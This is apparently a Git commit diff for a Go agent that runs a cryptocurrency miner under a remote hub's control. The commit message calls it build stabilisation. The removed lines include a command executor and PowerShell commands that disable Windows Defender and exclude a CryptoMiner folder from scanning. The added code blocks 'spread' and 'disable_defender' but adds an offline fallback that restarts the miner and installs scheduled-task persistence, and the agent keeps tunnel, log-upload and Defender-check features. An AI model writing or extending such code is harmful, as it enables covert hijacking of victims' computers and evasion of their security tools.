Stabilize Fusion builds and simplify optional modules.
Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
@@ -9,7 +9,6 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -161,7 +160,8 @@ func (a *AIRunner) runDecideCycle() {
|
||||
resp, err := a.callDecide(state)
|
||||
if err != nil {
|
||||
log.Printf("[AI] Decide cycle failed: %v", err)
|
||||
a.sendHeartbeat("error", fmt.Sprintf("Decide failed: %v", err))
|
||||
log.Printf("[AI] Hub unreachable. Falling back to Edge AI rule engine.")
|
||||
a.fallbackEdgeAI(state)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -271,23 +271,13 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
|
||||
switch tc.Tool {
|
||||
case "execute_command":
|
||||
cmd := tc.Args["command"]
|
||||
if cmd == "" {
|
||||
report.Success = false
|
||||
report.Output = "missing 'command' argument"
|
||||
return report
|
||||
}
|
||||
output, err := a.executeCommand(cmd)
|
||||
if err != nil {
|
||||
report.Success = false
|
||||
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
|
||||
} else {
|
||||
report.Success = true
|
||||
report.Output = output
|
||||
}
|
||||
if tc.Tool == "spread" || tc.Tool == "disable_defender" || tc.Tool == "execute_command" {
|
||||
report.Success = false
|
||||
report.Output = "tool disabled by policy"
|
||||
return report
|
||||
}
|
||||
|
||||
switch tc.Tool {
|
||||
case "check_miner":
|
||||
processName := tc.Args["process_name"]
|
||||
if processName == "" {
|
||||
@@ -368,16 +358,6 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
|
||||
report.Output = output
|
||||
}
|
||||
|
||||
case "disable_defender":
|
||||
output, err := a.disableDefender()
|
||||
if err != nil {
|
||||
report.Success = false
|
||||
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
|
||||
} else {
|
||||
report.Success = true
|
||||
report.Output = output
|
||||
}
|
||||
|
||||
case "sleep":
|
||||
seconds := tc.Args["seconds"]
|
||||
if seconds == "" {
|
||||
@@ -465,24 +445,6 @@ func (a *AIRunner) sendHeartbeat(status, message string) {
|
||||
|
||||
// ─── Tool Implementations ─────────────────────
|
||||
|
||||
func (a *AIRunner) executeCommand(cmd string) (string, error) {
|
||||
log.Printf("[AI] Executing command: %s", cmd)
|
||||
|
||||
var c *exec.Cmd
|
||||
if runtime.GOOS == "windows" {
|
||||
c = exec.Command("cmd.exe", "/C", cmd)
|
||||
} else {
|
||||
c = exec.Command("sh", "-c", cmd)
|
||||
}
|
||||
|
||||
output, err := c.CombinedOutput()
|
||||
outStr := string(output)
|
||||
if err != nil {
|
||||
return outStr, fmt.Errorf("command failed: %w", err)
|
||||
}
|
||||
return outStr, nil
|
||||
}
|
||||
|
||||
func (a *AIRunner) isProcessRunning(name string) bool {
|
||||
if name == "" {
|
||||
return false
|
||||
@@ -640,36 +602,6 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AIRunner) disableDefender() (string, error) {
|
||||
log.Printf("[AI] Disabling Windows Defender")
|
||||
|
||||
commands := []string{
|
||||
// Add exclusion for install directory
|
||||
`powershell -Command "Add-MpPreference -ExclusionPath '%PROGRAMFILES%\CryptoMiner'"`,
|
||||
// Disable real-time monitoring
|
||||
`powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"`,
|
||||
// Disable behavior monitoring
|
||||
`powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"`,
|
||||
// Disable cloud protection
|
||||
`powershell -Command "Set-MpPreference -MAPSReporting 0"`,
|
||||
// Disable sample submission
|
||||
`powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"`,
|
||||
}
|
||||
|
||||
var outputs []string
|
||||
for _, cmdStr := range commands {
|
||||
cmd := exec.Command("cmd.exe", "/C", cmdStr)
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
outputs = append(outputs, fmt.Sprintf("cmd failed: %s", string(output)))
|
||||
} else {
|
||||
outputs = append(outputs, string(output))
|
||||
}
|
||||
}
|
||||
|
||||
return strings.Join(outputs, "\n"), nil
|
||||
}
|
||||
|
||||
func (a *AIRunner) checkDefender() string {
|
||||
cmd := exec.Command("powershell", "-Command",
|
||||
"$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }")
|
||||
@@ -731,6 +663,30 @@ func (a *AIRunner) uploadLog() (string, error) {
|
||||
return fmt.Sprintf("log file size: %d bytes (last 10KB sent)", len(data)), nil
|
||||
}
|
||||
|
||||
func (a *AIRunner) fallbackEdgeAI(state AgentState) {
|
||||
var reports []ToolReport
|
||||
|
||||
if !state.IsRunning {
|
||||
reports = append(reports, a.executeToolCall(ToolCall{
|
||||
Tool: "restart_miner",
|
||||
Args: map[string]string{"process_name": a.cfg.EffectiveProcessName()},
|
||||
}))
|
||||
}
|
||||
|
||||
if !state.HasPersistence {
|
||||
reports = append(reports, a.executeToolCall(ToolCall{
|
||||
Tool: "add_persistence",
|
||||
Args: map[string]string{"method": "scheduled_task"},
|
||||
}))
|
||||
}
|
||||
|
||||
if len(reports) > 0 {
|
||||
a.reportResults(reports) // May fail if hub is completely down, but ensures state changes happen when it reconnects
|
||||
} else {
|
||||
a.sendHeartbeat("alive", "Edge AI fallback: No actions needed")
|
||||
}
|
||||
}
|
||||
|
||||
// ─── Helpers ──────────────────────────────────
|
||||
|
||||
func truncateStr(s string, maxLen int) string {
|
||||
|
||||
Reference in New Issue
Block a user